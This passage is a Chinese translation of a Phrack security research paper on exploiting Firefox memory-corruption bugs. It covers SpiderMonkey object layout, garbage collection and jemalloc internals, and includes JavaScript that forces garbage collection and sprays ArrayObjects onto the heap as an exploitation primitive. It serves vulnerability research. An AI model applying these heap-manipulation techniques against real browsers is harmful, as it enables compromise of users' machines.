The Shadow over Firefox

来源:互联网 发布:老炮儿网络剧免费版 编辑:程序博客网 时间:2024/06/05 05:29

介绍

在本文中,我将使用相同的标题详细阐述我在Infiltrate 2015上的演讲内容。即使是会议上整整一个小时的演讲也几乎不足以呈现所有必要的背景细节和全部的技术深度。所以当Phrack工作人员邀请我写一篇基于我的会议上的演讲的论文时我很开心。本文的目标是针对Mozilla Firefox浏览器的最新版本和大多数操作系统提供的现代保护探讨可重用的漏洞利用方法。这里的利用是指利用不同类型的内存损坏漏洞(缓冲区溢出,释放后重引用,类型混淆等等)。可重用的意味着攻击模式可以应用于大多数类型的漏洞的利用开发。虽然这里的材料基于Windows版的Firefox,就我所知这篇文章包含的技术可以适用于所有支持firefox的平台。具体来说,对于本文所有的技术包括我摘录的代码来自Windows 8.1 x86-64上最新版的Firefox(写作本文时是41.0.1)。请注意,Firefox的正式版在Windows上(即使是64位系统)是32位的。

Firefox和SpiderMonkey内部

我将首先解释一些漏洞利用必须知道的Firefox和SpiderMonkey内部细节。SpiderMonkey(Firefox的JavaScript引擎)使用JS::Value(或简单的jsval)类型的C ++变量表示字符串,数字(包括整数和双精度),对象(包括数组和函数),布尔值,特殊值null和未定义的值[JSV]。当在JavaScript(JS)中一个字符串例如分配给变量或对象的属性,运行时必须能够查询其类型。因此,jsvals必须遵循一个编码值和类型的表示。SpiderMonkey为此使用64位IEEE-754编码[IFP]。具体来说,jsval双精度类型为它们的值使用完整的64位编码。所有其它jsvals(整数,字符串等)都是用32位编码指定其类型和32位编码指定其值。在Firefox的源代码中,我们可以在在js/public/Value.h中找到这些jsval类型的常量。

#define JSVAL_TYPE_DOUBLE((uint8_t)0x00)#define JSVAL_TYPE_INT32((uint8_t)0x01)#define JSVAL_TYPE_UNDEFINED((uint8_t)0x02)#define JSVAL_TYPE_BOOLEAN((uint8_t)0x03)#define JSVAL_TYPE_MAGIC((uint8_t)0x04)#define JSVAL_TYPE_STRING((uint8_t)0x05)#define JSVAL_TYPE_SYMBOL((uint8_t)0x06)#define JSVAL_TYPE_NULL((uint8_t)0x07)#define JSVAL_TYPE_OBJECT((uint8_t)0x08)

然后使用这些常量来为不同的类型获取32位的jsval标签。

#define JSVAL_TAG_CLEAR((uint32_t)(0xFFFFFF80))#define JSVAL_TAG_INT32((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32))#define JSVAL_TAG_UNDEFINED((uint32_t)(JSVAL_TAG_CLEAR | \                              JSVAL_TYPE_UNDEFINED))#define JSVAL_TAG_STRING((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING))#define JSVAL_TAG_SYMBOL((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_SYMBOL))#define JSVAL_TAG_BOOLEAN((uint32_t)(JSVAL_TAG_CLEAR | \                              JSVAL_TYPE_BOOLEAN))#define JSVAL_TAG_MAGIC((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC))#define JSVAL_TAG_NULL((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL))#define JSVAL_TAG_OBJECT((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT))

当SpiderMonkey运行时查询jsval类型时,如果它的32位标记值大于0xFFFFFF80(上面定义的JSVAL_TAG_CLEAR)那么64位被解释为相应的jsval类型。如果标签值小于或等于0xFFFFFF80,那么64位被解释为IEEE-754 double。稍后我会提到的很重要的一点是没有IEEE-754 64位 double对应于大于0xFFF00000的32位编码值。除了jsvals外,SpiderMonkey为类型JSObject[JSO]使用复杂的对象来表示各种JavaScript对象(jsobjects)。在本质上这些是从名称(对象属性)到值的映射。为了避免从这些属性到其对应的值的昂贵的字典查找(它们存储在jsobject数组中)过程,SpiderMonkey使用shapeshape直接从属性名称到保存其值的数组索引的结构描述。JSObject类使用NativeObject类作为其内部实现(确切地说NativeObject类继承自JSObject类)。这些复杂对象还包含用于存储命名属性的内联动态大小(但有最大大小限制)数组,以及JavaScript数组和类型数组的元素。 第一个(命名属性)由slots_指针索引,后者(数组元素)由elements_指针索引。实际存储可以内联在jsobject中或堆上的动态分配区域。此外,jsobject数组有一个头部,这个头部由ObjectElements类描述。JSObject类的定义可以在js/src/jsobj.h中找到,NativeObject类和ObjectElements类的定义可以在JS/src/VM/NativeObject.h中找到。下面我会一起讨论所有这些(认为​​它们是伪代码)和它们只与本文有关的部分。

    class NativeObject : public JSObject    {        /*         * From JSObject; structural description to avoid dictionary         * lookups from property names to slots_ array indexes.         */        js::HeapPtrShape shape_;        /*         * From JSObject; the jsobject's type (unrelated to the jsval         * type I described above).         */        js::HeapPtrTypeObject type_;        /*         * From NativeObject; pointer to the jsobject's properties'         * storage.         */        js::HeapSlot *slots_;        /*         * From NativeObject; pointer to the jsobject's elements' storage.         * This is used by JavaScript arrays and typed arrays. The         * elements of JavaScript arrays are jsvals as I described them         * above.         */        js::HeapSlot *elements_;        /*         * From ObjectElements; how are data written to elements_ and         * other metadata.         */        uint32_t flags;        /*         * From ObjectElements; number of initialized elements, less or         * equal to the capacity (see below) for non-array jsobjects, and         * less or equal to the length (see below) for array jsobjects.         */        uint32_t initializedLength;        /*         * From ObjectElements; number of allocated slots (for object         * properties).         */        uint32_t capacity;        /*         * From ObjectElements; the length of array jsobjects.         */        uint32_t length;    };

在本文的以下部分中,我将回顾一下jsobject(或jsobject类),虽然严格说来是不正确的(正如我上面已经解释过的)但是将使讨论更简单。

内存中的表现

为了获得更直观的理解,我们来看看jsvals和jsobjects在内存中的形式。我们有以下JavaScript代码。

  var arr = new Array();          // an array jsobject (ArrayObject)    arr[0]  = 0x40414140;           // [A] an integer    arr[1]  = "Hello, Firefox!";    // [B] a string    arr[2]  = 0x42434342;    arr[3]  = true;                 // [C] a boolean    arr[4]  = 0x44454544;    arr[5]  = new Array(666);       // [D] an object    // add some elements to the array    arr[5][0] = 666;    arr[5][1] = "sixsixsix";    arr[5][2] = 0.666;    arr[5][3] = false;    arr[5][4] = new Array(666);    arr[6]  = 0x46474746;    arr[7]  = null;    arr[8]  = 0x48494948;    // [E] a typed array jsobject holding unsigned 32-bit integers    arr[9]  = new Uint32Array(128);    // let's fill the typed array with some content    // total size: 128 * 4 == 512    for(var j = 0; j < 128; j += 2)    {        arr[9][j]     = 0x61636361;        arr[9][j + 1] = 0x71737371;    }    arr[10] = 0x50515150;    arr[11] = 1.41424344;           // [F] a double    arr[12] = 0x52535352;    // [G] and a bigger string    arr[13] = "Hello, Firefox, and hello again";

在WinDbg中搜索我们的第一个整数标记值即40414140,然后我们看看我们定义的数组的元素。

    0:000> s -d 0 0x0 l?0xffffffff 40414140    09e10980  40414140 ffffff81 0f352880 ffffff85  @AA@.....(5.....    09e10a00  40414140 ffffff81 0f352880 ffffff85  @AA@.....(5.....

为什么会找到我们的标记值两次你接下来就会知道了。现在让我们转储找到的值之前的内存,我将注释从WinDbg中转储出的内容使得理解我们接下来的讨论更容易。

 0:000> dd 09e10980-20 l?48    [ Our arr ArrayObject ]              shape_   type_    slots    elements    09e10960  0eed89a0 0f3709b8 00000000 09e10a00    [ Metadata of the old elements,      the default length of ArrayObjects is 6 ]              flags    initlen  capacity length    09e10970  00000000 00000006 00000006 00000006    [ Old elements' address ]    09e10980  40414140 ffffff81 0f352880 ffffff85    09e10990  42434342 ffffff81 00000001 ffffff83    09e109a0  44454544 ffffff81 09e109b0 ffffff88    09e109b0  0eed89a0 0f3709e8 00000000 0c94e010    09e109c0  00000000 00000000 00000000 0000029a    09e109d0  0eed89a0 0f370a30 00000000 0d177010    09e109e0  00000000 00000000 00000000 0000029a    [ Metadata of relocated elements,      the length of our new ArrayObject is 0xe, or 14 in decimal ]              flags    initlen  capacity length    09e109f0  00000000 0000000e 0000000e 0000000e    [ New elements' address ]              int32 jsval [A]   string jsval [B]    09e10a00  40414140 ffffff81 0f352880 ffffff85                                bool jsval [C]    09e10a10  42434342 ffffff81 00000001 ffffff83                                object jsval (ArrayObject) [D]    09e10a20  44454544 ffffff81 09e109b0 ffffff88    09e10a30  46474746 ffffff81 00000000 ffffff87                                object jsval (typed array) [E]    09e10a40  48494948 ffffff81 12634520 ffffff88                                double jsval [F]    09e10a50  50515150 ffffff81 bab61ee0 3ff6a0bd                                string jsval [G]    09e10a60  52535352 ffffff81 0eef9730 ffffff85

在内存转储的开头(09e10960),我们可以看到ArrayObject的元数据:shape_,type_,slot和elements指针。slot指针为NULL,因为我们的jsobject没有命名属性。elements指针指向09e10a00,那里是数组的jsval内容。这些实际上是数组的重定位内容。在地址09e10970我们可以看到元素的原始元数据(未指定时默认数组长度始终为6),而在09e10980是原始内容。 当我们在向arr数组添加内容时元素(以及它们的元数据)被重新分配。重新分配后的元素指针指向09e10a00,那里是jsval内容开始。前面的四个dword在09e109f0,那里是它们的元数据:flags,initializedLength(或initlen),capacity和length。如同预期,initlen,capacity和length都是0xe。在09e10a00是我们的整数值40414140,在09e10a0432位标签ffffff81表示A为整数。在09e10a08我们可以看到字符串B。基于a)底层平台是x86或x86-64;b)jsval字符串的长度;c)ASCII还是unicode这几点来决定字符串的内容是否内联。在x86上内联ASCII的最大长度为7,Unicode为3;在x86-64上,ASCII为15,Unicode为7。字符串B长度为15(0xf),因此它是内联的。让我们看看字符串B指向的地址的内容。

    0:000> dd 0f352880              flags    length   string's contents    0f352880  0000005d 0000000f 6c6c6548 46202c6f    0f352890  66657269 0021786f 00737365 00000004    0:000> db 0f352880    0f352880  5d 00 00 00 0f 00 00 00-48 65 6c 6c 6f 2c 20 46  ]..Hello, F    0f352890  69 72 65 66 6f 78 21 00-65 73 73 00 04 00 00 00  irefox!.ess

0f352880是我们的内联字符串B的元数据的开始:标志(0x5d),长度(0xf ==十进制的15)然后在0f352888是B的ASCII内容。相反,09e10a68G处的字符串G不是内联的。同样,标签值ffffff85表示其为字符串,它的值指向0eef9730。

 0:000> dd 0eef9730              flags    length   pointer to string's contents    0eef9730  00000049 0000001f 0bcba840 00000000    0:000> dd 0bcba840    0bcba840  6c6c6548 46202c6f 66657269 202c786f    0bcba850  20646e61 6c6c6568 6761206f 006e6961    0:000> db 0bcba840    0bcba840 \    48 65 6c 6c 6f 2c 20 46-69 72 65 66 6f 78 2c 20  Hello, Firefox,    0bcba850 \    61 6e 64 20 68 65 6c 6c-6f 20 61 67 61 69 6e 00  and hello again.

在0eef9730处有标志(0x49),长度(0x1f ==十进制的31)和在0eef9738指向字符串的实际字节内容的指针(在0bcba840)。实际上SpiderMonkey字符串更有趣也更有用,所以我推荐感兴趣的读者阅读js/src/vm/String.h。然而,对于本文来说,上述细节已经足够了。在09e10a28,我们以容量666(或十六进制的0x29a)实例化了ArrayObject D,它的标签值ffffff88表示它是一个对象,其值是地址09e109b0,在那里我们可以看到我们之前讨论过的ArrayObject元数据。

  0:000> dd 09e109b0              shape_   type_    slots    elements    09e109b0  0eed89a0 0f3709e8 00000000 0c94e010              flags    initlen  capacity length    09e109c0  00000000 00000000 00000000 0000029a    0:000> dd 0c94e010-10              flags    initlen  capacity length    0c94e000  00000000 00000005 0000029a 0000029a              arr[5][0] = 666;  arr[5][1] = "sixsixsix";    0c94e010  0000029a ffffff81 0eed78a0 ffffff85    0c94e020  3b645a1d 3fe54fdf 00000000 ffffff83    0c94e030  09e109d0 ffffff88 5a5a5a5a 5a5a5a5a

D的elements指针指向0c94e010,我们在那里可以看到这个数组的第一个元素,即arr[5][0],也就是整数型jsval 0x29a(或十进制的666)。在0c94e000有与这些元素相关的元数据。这里我们可以清楚地看到initializedLength,capacity和ArrayObject的长度之间的区别。09e109b0处元数据中initializedLength和capacity都是零,而它的长度是0x29a。因为在[D]我们只是声明一个长度为0x29a的ArrayObject而实际上并不添加任何元素,所以情况就是这样。然后我们添加了五个元素(从arr[5][0]到arr[5][4]),新的initializedLength变为5,而容量等于长度,即0x29a(所有这些都是0c94e000处的元数据)。在我们继续之前,我们再来看看SpiderMonkey类型的数组,因为我们将在之后的攻击方法中使用它们。类型化的数组是一个非常有用的JavaScript特性,因为它们允许我们将受控内容(任意字节粒度)的任意大小的构造放在堆上。以前攻击Firefox依赖于SpiderMonkey将实际内容(数据)和类型数组相应的元数据连续存储在内存中。不幸的是这种情况已经不复存在了:即使我们试图强制这样的布局,GC永久堆和jemalloc堆(我将尽快解释它们)也会保持这些分离。 然而,类型化的数组仍然非常有用。在[E]我们实例化一个Uint32Array对象,即一个类型化的数组jsobject存放无符号32位整数,初始长度为128,其中我们可以在地址09e10a48找到object类型的jsval,它的值是地址12634520。那里我们看到Uint32Array对象,从它的元数据开始(例如12634538处表示其长度为0x80,或十进制的128),并在12634548指向类型数组的实际缓冲区的内容(0dd73600)。

  0:000> dd 12634520    12634520  0af6c5c8 0f370e80 00000000 7475a930    12634530  126344f0 ffffff88 00000080 ffffff81    12634540  00000000 ffffff81 0dd73600 ffffff81    12634550  00000000 00000000 00000000 00000000    0:000> dd 0dd73600    0dd73600  61636361 71737371 61636361 71737371    0dd73610  61636361 71737371 61636361 71737371    0dd73620  61636361 71737371 61636361 71737371    0dd73630  61636361 71737371 61636361 71737371    0dd73640  61636361 71737371 61636361 71737371    0dd73650  61636361 71737371 61636361 71737371    0dd73660  61636361 71737371 61636361 71737371    0dd73670  61636361 71737371 61636361 71737371

如预期的那样,0dd73600处的类型数组的内容正是我们在代码中分配的内容。 保存这些内容的缓冲区分配在堆上,其大小是我们分配给类型数组的uint32元素的数量的四倍(因为每个元素都是四个字节长)。 因此,对于我们的[E]类型数组,其0dd73600处的内容缓冲区为512字节长(4*128==512)。

分代垃圾回收

自从发布版32.0 [F32] Firefox在默认情况下(在所有支持的操作系统上)都启用了一个名为分代垃圾回收(GGC)的新垃圾收集(GC)实现。在GGC中有两个单独的堆:a)分配大多数SpiderMonkey对象的nursery以及b)tenured,差不多就是老的(在版本32.0之前)普通的SpiderMonkey GC堆。当nursery变满(或其它一些事情发生)时,我们会有所谓的minor GC pass。在此期间, nursery的所有临时短寿命的JavaScript对象都被收集,并且他们正在占用的内存再次可供nursery使用。另一方面,在堆图中可到达的nursery上的JavaScript对象(即存活)被移动到tenured(这也使得它们占据的内存在nursery中可用)。一旦一个对象被移动到tenured ,在minor GC pass中会检查它指向nursery中其它对象的指针。这样的对象也从nursery移动到tenured,因为它们实际上是可以访问的。这个迭代过程继续进行,直到所有可到达的对象从nursery移动到tenured,并且他们占据的内存被设置为可用于nursery。这种分代(也称为移动)垃圾回收方法已经为SpiderMonkey带来令人印象深刻的性能提升,因为大多数JavaScript分配确实是短暂的。
为了清楚上面所有这些是怎么都适配Firefox浏览器环境的,我应该谈谈JSRuntime [JSR]。实例化的JSRuntime对象(请参阅js/src/vm/Runtime.cpp)包含所有JavaScript变量,对象,脚本等。为Firefox编译的SpiderMonkey默认为单线程,因此Firefox通常只有一个JSRuntime。但是,(web)workers可以被启动/创建,并且每一个都有自己的JSRuntime。每个不同的JSRuntime都有一个单独的GGC堆(nursery和tenured),并且它们不共享堆内存。此外,它们彼此隔离,一个JSRuntime无法访问由其它JSRuntime分配的对象。
nursery由VirtualAlloc()(或Linux上使用mmap())分配了硬编码的16MB大小。它作为标准bump allocator运行:维持一个指向nursery内存区域中的第一个未分配字节的指针。要分配X个字节,首先要检查nursery中是否有X字节可用。如果有的话,那么指针(“bump”)加X,并且返回其先前的值来为分配请求提供服务。如果没有X个字节可用,则会触发minor GC。在此GC过程中,新对象将被移动到tenured,如果其slots或elements(见第2.1节)高于某个数字,则它们将被移动到jemalloc管理的堆。
tenured(您可能还会在Firefox的代码库中看到它被称为major或简称GC堆)有自己的元数据和算法来管理内存。这些不同于nursery和jemalloc堆。除了在nursery GC pass中幸存的JavaScript对象之外,还有一些分配直接绕过nursery。这种情况的例子是已知的长寿命对象(例如全局对象),函数对象(由于JIT要求)和具有终结器的对象(即大多数DOM对象)。由于与漏洞利用无关,我不会再为深入tenured更多的细节。

jemalloc (and GGC)

在本节中,我将仅讨论所需的必要的jemalloc知识,以便在第5节中进行分析。对于更详细的论述,我推荐您阅读仍然适用于当前jemalloc的另一篇Phrack上的论文。
jemalloc是一个位图分配器,专为性能不是内存利用率而设计。其主要设计目标之一就是使内存中的分配连续。最新版本的jemalloc目前是4.0.0,但Firefox包含了从主版本发行版2 fork的版本。Firefox的fork在源代码树中称为mozjemalloc,但不包含来自jemalloc 2的任何重大更改。在Firefox中它用于对于tenured来说太大的分配(基于一些限制,我将尽快讨论)。但是,有一些例外:可从JavaScript触发的某些分配可以绕过nursery和tenured,并直接转到jemalloc管理的堆。我不会进一步讨论,所以你可以考虑一下把它当成练习。
在jemalloc内存中分为根据大小分类的区域。具体来说大小类别称为bins,分别为2,4,8,16,32,48,…,512,1024,最多为2048。大于2048个字节的malloc()请求的处理方式不同而且并不在本文的范围之内。每个bin(或大小类别)与几个Run相关联:它们是区域的实际容器。Run可以跨越一个或多个虚拟存储器页面,它们被划分为Run所属的bin大小的区域。 Bins拥有Run的元数据,并通过它们分配空闲的区域。下图是[PSJ]的原始简化版本,并总结了上述注释。
这里写图片描述
分配请求(即malloc()调用)被舍入并分配给一个bin。然后,通过bin的空闲区域的元数据定位到一个拥有空闲区域的Run。如果没有找到,则会分配新的Run并分配给特定的bin。因此,这意味着不同类型但具有相似大小的对象舍入到同一个bin在jemalloc堆中是连续的。jemalloc的另一个有趣的特征是它以先进先出(LIFO)的方式运行(参见[PSJ]的释放算法):垃圾收集之后的释放和一个相同大小的后续分配请求,有可能结束在被释放的区域。我们用一个例子了解如何在Firefox中使用jemalloc堆以及GGC堆,即nursery和tenured。在下图中,nursery几乎已满,然后我们有一个具有N个slot的JSObject的分配请求。
这里写图片描述
JSObject本身可以适应(或者不,但不影响其余的事件)在 nursery的空闲空间,但它的slot不能。所以JSObject被放置在nursery,由于它变满了,所以触发了一个minor GC。如果不适应nursery的空闲空间,也会触发minor GC。在这个GC中,假设JSObject是一个幸存者对象,即不是一个临时的对象,它将从nursery移动到tenured(如果开始它不能适应nursery的空闲空间将会直接放置在那里)。如果其slots N大于一定数量(稍后会继续讨论),则它们不会放置在具有对象本身的tenured上。相反,会在jemalloc堆上进行N个slots的大小的新分配,并且slots被放置在那里。 然后jsobject的slots_指针存储包含slots的jemalloc堆的地址。

Firefox的强化功能

Firefox具有一些安全强化功能,如果您正在或正在计划对漏洞进行利用那么知道它们将是有帮助的。我会尝试在这里列出所有这些信息给你参考,但是我只会详述那些影响我们这篇文章目标的因素。

PresArena

PresArena是Gecko用于CSS框对象的专门的堆(Gecko是Firefox的布局引擎)。当CSS框对象被释放时,根据自由列表的类型,将释放的PresArena堆slot添加到空闲列表中。这意味着PresArena为每个不同的CSS框对象类型维护单独的空闲堆slot列表。分配请求是从它试图分配的对象类型的空闲列表中提供的。这基本上意味着对于CSS框对象PresArena实现了类型安全的内存重用,大多数情况下UAF漏洞不可被利用。我说大多数,因为在某些情况下,一个UAF的bug仍然可以通过同一个对象类型的欺骗利用,比如attributes的值。PresArena还提供与CSS框对象相关但不是CSS框的对象的类型。这些对象的空闲列表是每个大小,而不是每个类型。这当然意味着对于这些对象类型的UAF bug可以照常使用。PresArena的代码在layout/base/nsPresArena.{h,cpp}.

jemalloc堆处理

由于jemalloc向最接近的大小类别(bin)舍入分配请求,所以有可能将一个小对象分配给一个更大的对象在被释放之前占据的相同区域(两个对象当然小于或等于大小类别)。 因此,在这种情况下,我们可以使用小对象来读取较大对象留下的内存。这可以显示DLL指针,并可以帮助绕过ASLR。为了避免这个jemalloc会清理释放后区域的。 目前的Firefox版本使用e5e5e5e5的值进行清理,旧版本使用a5a5a5a5。这种功能还会使一些未初始化的内存错误不可用。 无论如何,如果你正在对Firefox进行模糊测试,这些都是应该在崩溃日志中寻找的值。

垃圾收集

能够根据需要触发垃圾收集是在堆上创建特定对象布局时的基础。Firefox不提供无特权的JavaScript API来执行此操作。 虽然没有按需GC API调用不被列为强化功能,但很显然,Firefox开发人员主动尝试删除从非特权JavaScript函数到GC的直接执行路径。可以由于各种原因触发GC:Firefox将这些分为两大类,即与JavaScript引擎相关和与JavaScript引擎不相关。第二类包括与布局引擎相关的原因(例如帧刷新),以及更常见于浏览器的原因(例如当主进程退出时)。您可以在js/public/GCAPI.h找到所有原因的名称。这是从非特权JavaScript代码中寻找方法来触发GC的开始。一个简单的开始是TOO_MUCH_MALLOC。如果您在Firefox的代码中搜索此内容,并使用自己喜欢的代码阅读工具进行跟踪,则可以得出以下执行路径。

  dom::CanvasRenderingContext2D::EnsureTarget()     +     |          +--> JS_updateMallocCounter()           +           |           +--> GCRuntime::updateMallocCounter()                 +                 |                 +--> GCRuntime::onTooMuchMalloc()                       +                       |                       +--> triggerGC(JS::gcreason::TOO_MUCH_MALLOC)

读完dom/canvas/CanvasRenderingContext2D.cpp中的dom::CanvasRenderingContext2D::EnsureTarget()后,我们可以很容易地弄清楚如何达到它。

    var my_canvas = document.createElement("canvas");    my_canvas.id = "my_canvas";    my_canvas.width = "100";    my_canvas.height = "115";    document.body.appendChild(my_canvas);    for(var i = 0; i < 10; i++)    {        var my_context = my_canvas.getContext("2d");        my_canvas.width = 36666;        my_context.fillRect(21, 11, 66, 60);    }

你可以找到很多其它的方法:一些更可靠,一些不那么可靠。读代码吧。另一个简单的方法是重复创建字符串并把它们附加到一个DOM节点,请参阅此示例的存档。只要记住你可能必须调整一些参数,如重复次数,字符串的大小等,以使其尽可能多的工作在具有不同特性的不同系统(可用RAM,Firefox版本)。

沙盒

我只讨论Firefox Windows上的沙箱:Linux和OS X实现基于不同的技术:seccomp和Seatbelt,但旨在实现类似的目标。所有的代码都可以在security/sandbox/{win,linux,mac}中找到。
在Windows上,Firefox正在使用Chromium沙箱的代码。总之,有一个父进程(代理)负责启动沙盒子进程(目标)。两者之间的通信通过称为IPDL(进程间通信协议定义语言)的特定于Firefox的C ++ IPC来实现。对于实施的子进程,有三种不同的沙箱策略a)布局内容b)媒体播放c)其它插件。这些通过以下函数实现:a)SetSecurityLevelForContentProcess(),b)SetSecurityLevelForGMPlugin()和c)SetSecurityLevelForPluginProcess()。您可以在security/ sandbox/win/src/sandboxbroker/sandboxBroker.cpp中找到它们的实现。
Firefox中的Flash是一个进程外的插件。这意味着Firefox会启动一个名为plugin-container.exe的可执行文件,然后加载Flash插件,由Flash自己的保护模式进行沙盒化。在Windows上这意味着它是一个低完整性的进程,限制访问令牌功能,不允许启动新的进程等。Firefox计划停止启用Flash的保护模式,并将Flash放在上述基于Chromium的沙箱下,但是目前情况并非如此(41.0.1)。

shadow

我最初重新设计了unmask_jemalloc(一个用Huku写的GDB/Python工具)支持所有三个主要调试器和平台(WinDBG,GDB和LLDB)。当我添加Firefox/Windows/WinDBG的功能我把这个工具重新命名为shadow。
以下是新设计的概述(将箭头看作import)。 目标是在* _driver和* _engine模块中安装所有与调试器相关的代码。
这里写图片描述
在尝试利用Firefox的漏洞的过程中当您试图理解JavaScript代码对堆的影响时,shadow可以帮助您。符号命令允许您搜索特定大小的SpiderMonkey和DOM类(和结构)。当您尝试利用UAF bug时,或者想要覆盖/损坏受害对象时,这是有用的。 所有支持的命令如下。

  0:000> !py c:\\tmp\\shadow\\pykd_driver help    [shadow] De Mysteriis Dom Firefox    [shadow] v1.0b    [shadow] jemalloc-specific commands:    [shadow]   jechunks                : dump info on all available chunks    [shadow]   jearenas                : dump info on jemalloc arenas    [shadow]   jerun <address>         : dump info on a single run    [shadow]   jeruns [-cs]            : dump info on jemalloc runs    [shadow]                                 -c: current runs only    [shadow]                    -s <size class>: runs for the given size    [shadow]                                    class only    [shadow]   jebins                  : dump info on jemalloc bins    [shadow]   jeregions <size class>  : dump all current regions of the    [shadow]                                    given size class    [shadow]   jesearch [-cfqs] <hex>  : search the heap for the given hex    [shadow]                                    dword    [shadow]                                 -c: current runs only    [shadow]                                 -q: quick search (less    [shadow]                                    details)    [shadow]                    -s <size class>: regions of the given size    [shadow]                                    only    [shadow]                                 -f: search for filled region    [shadow]                                    holes)    [shadow]   jeinfo <address>        : display all available details for    [shadow]                                    an address    [shadow]   jedump [filename]       : dump all available jemalloc info    [shadow]                                    to screen (default) or file    [shadow]   jeparse                 : parse jemalloc structures from    [shadow]                                    memory    [shadow] Firefox-specific commands:    [shadow]   nursery                 : display info on the SpiderMonkey    [shadow]                                    GC nursery    [shadow]   symbol [-vjdx] <size>   : display all Firefox symbols of the    [shadow]                                    given size    [shadow]                                 -v: only class symbols with    [shadow]                                    vtable    [shadow]                                 -j: only symbols from    [shadow]                                    SpiderMonkey    [shadow]                                 -d: only DOM symbols    [shadow]                                 -x: only non-SpiderMonkey    [shadow]                                    symbols    [shadow]   pa <address> [<length>] : modify the ArrayObject's length    [shadow]                                    (default new length 0x666)    [shadow] Generic commands:    [shadow]   version                 : output version number    [shadow]   help                    : this help message

您可以找到最新版本的shadow以及安装说明,可以通过本文附带的代码存档中和GitHub获得。只是一个音符 我只有时间在Windows和WinDBG上测试所有的内容。Linux/GDB支持几乎完成(尽管不支持符号命令)。我还没有为支持OS X/LLDB做任何工作。所有贡献当然是受欢迎的。

利用

在介绍中,我将本文的目标设定为一种通用的,可重用的开发方法,可以应用到尽可能多的Firefox bug(和bug类)。更具体地说,这个高层次的目标可以分为以下几个小目标。
1)泄漏xul.dll的基地址。这个DLL是Firefox的主要内容,它包含SpiderMonkey和Gecko(Firefox的布局引擎)的代码。这个巨大的DLL包含您可能想要的所有ROP gadgets。
2)由于我们正在利用的bug,在Firefox的堆中泄露一些我们控制的地址。这可能非常有用,因为我们可以使用它来创建具有指向我们控制的数据的有效地址的假对象。
3)拥有从我们选择的任何地址读取任意数量的字节的能力,即任意泄漏。
4)最后,当然,EIP控制(例如开始一个ROP链)。
为了实现这些,我们将使用标准的JavaScript数组,即ArrayObject jsobjects作为原语。在过去,研究人员已经使用类似的数组来实现类似的目的。然而,正如我们在2.1节中看到的那样,用户可控的类型化数组的内容(数据)及其元数据(如其长度和数据指针)在内存中不再是连续的。另一方面,我发现ArrayObjects可能被迫将其元数据放在jemalloc堆上的数据旁边,并具有以下有用的特性:
1)我们可以将其大小控制为8字节的倍数,并且还可以对其内容进行部分控制,这都是由于我们已经看到的IEEE-754 64位jsval表示。
2)我们可以通过JavaScript轻松可控地使用ArrayObjects进行喷射。
3)在填充nursery后,我们可以将喷射的ArrayObjects移动到jemalloc管理的堆中。由于数组是jsobjects,当它们变大时,它们的行为将会如同我在2.3节中描述的方式。

ArrayObjects里面的ArrayObjects

因此,我们将ArrayObject作为容器ArrayObject的元素。当容器变得足够大时,元素(本身就是ArrayObjects)连同它们的内容和元数据被移动到jemalloc堆。 在js/src /gc/Marking.cpp中,我们可以在方法js::TenuringTracer::moveElementsToTenured()中看到这一点。

/* * nslots here is equal to the capacity of the ArrayObject plus 2 * (ObjectElements::VALUES_PER_HEADER). */size_t nslots = ObjectElements::VALUES_PER_HEADER + srcHeader->capacity;...if (src->is<ArrayObject>() && nslots <= GetGCKindSlots(dstKind)) {  /*   * If this is an ArrayObject and nslots is less or equal   * to 16 (GetGCKindSlots(dstKind)) there is no new allocation.   */   ...   return nslots * sizeof(HeapSlot);}.../* * Otherwise there is a new allocation of size nslots that * goes on the jemalloc heap, the elements are copied, and the * elements_ pointer is set. */ dstHeader = \ reinterpret_cast<ObjectElements*>(zone->pod_malloc<HeapSlot>(nslots));js_memcpy(dstHeader, srcHeader, nslots * sizeof(HeapSlot));nursery().setElementsForwardingPointer(srcHeader, dstHeader, nslots);

我们再来看看2.3节中的例子,并将它放在将ArrayObjects及其元数据移动到jemalloc堆的上下文中。
这里写图片描述
上图描述了当我们运行以下JavaScript代码时,Firefox堆会发生了什么。 我们创建一个容器ArrayObject:它最初分配在nursery上(就是上面的A)。

    var container = new Array();

当我们向容器添加元素(ArrayObjects)时,会发生一次minor gc(nursery)。我们通过使用66000个ArrayObjects,每个ArrayObjects中30个元素来填充nursery中16 MB的空间来触发 - 记住每个元素是8个字节(jsval),但是所得到的大小为240的ArrayObject将会分配到大小为256的jemalloc run(还有元数据)。

    // 16777216 / 256 == 65536    var spray_size = 66000;

容器ArrayObject(A)从nursery移动到tenured。如果(2+容量)>=17,则容器的每一个ArrayObject元素在jemalloc堆上重新分配。因为它们是ArrayObjects,它们都包含内容和一些元数据。容器在剩下的生命周期中仍然保留在tenure上。

    for(var i = 0; i < spray_size; i++)    {        container[i] = new Array();        for(var j = 0; j < 30; j += 2) // 30 * 8 == 240        {            container[i][j]     = 0x45464645;            container[i][j + 1] = 0x47484847;        }    }

仔细的读者会注意到这里有一些问题。将对象移动到jemalloc堆的条件取决于对象的容量。这将根据对象的初始容量设置一个限制,即将哪个jemalloc大小类别用于我们的目的。 如果您阅读SpiderMonkey的代码,您将发现initlen为1(例如a[0]=”A”)的ArrayObject的容量为6。因此,为了满足移动条件,我们必须排除一些小的jemalloc大小类别。在这一点上,我们使用WinDBG中的shadow来搜索jemalloc堆中我们喷射的内容(为了可读性而编辑)。

    0:000> !py c:\\tmp\\pykd_driver jesearch -s 256 -c 45464645    [shadow] searching all current runs of size class 256 for 45464645    [shadow] found 45464645 at 0x141ad110                    (run 0x141ad000, region 0x141ad100, region size 0256)    [shadow] found 45464645 at 0x141ad120                    (run 0x141ad000, region 0x141ad100, region size 0256)    [shadow] found 45464645 at 0x141ad130                    (run 0x141ad000, region 0x141ad100, region size 0256)    0:000> dd 141ad100 l?80    [ Metadata of a sprayed ArrayObject ]              flags    initlen  capacity length    141ad100  00000000 0000001e 0000001e 0000001e    [ Contents of the same sprayed ArrayObject ]    141ad110  45464645 ffffff81 47484847 ffffff81    141ad120  45464645 ffffff81 47484847 ffffff81    ...    141ad1e0  45464645 ffffff81 47484847 ffffff81    141ad1f0  45464645 ffffff81 47484847 ffffff81    [ Metadata of another sprayed 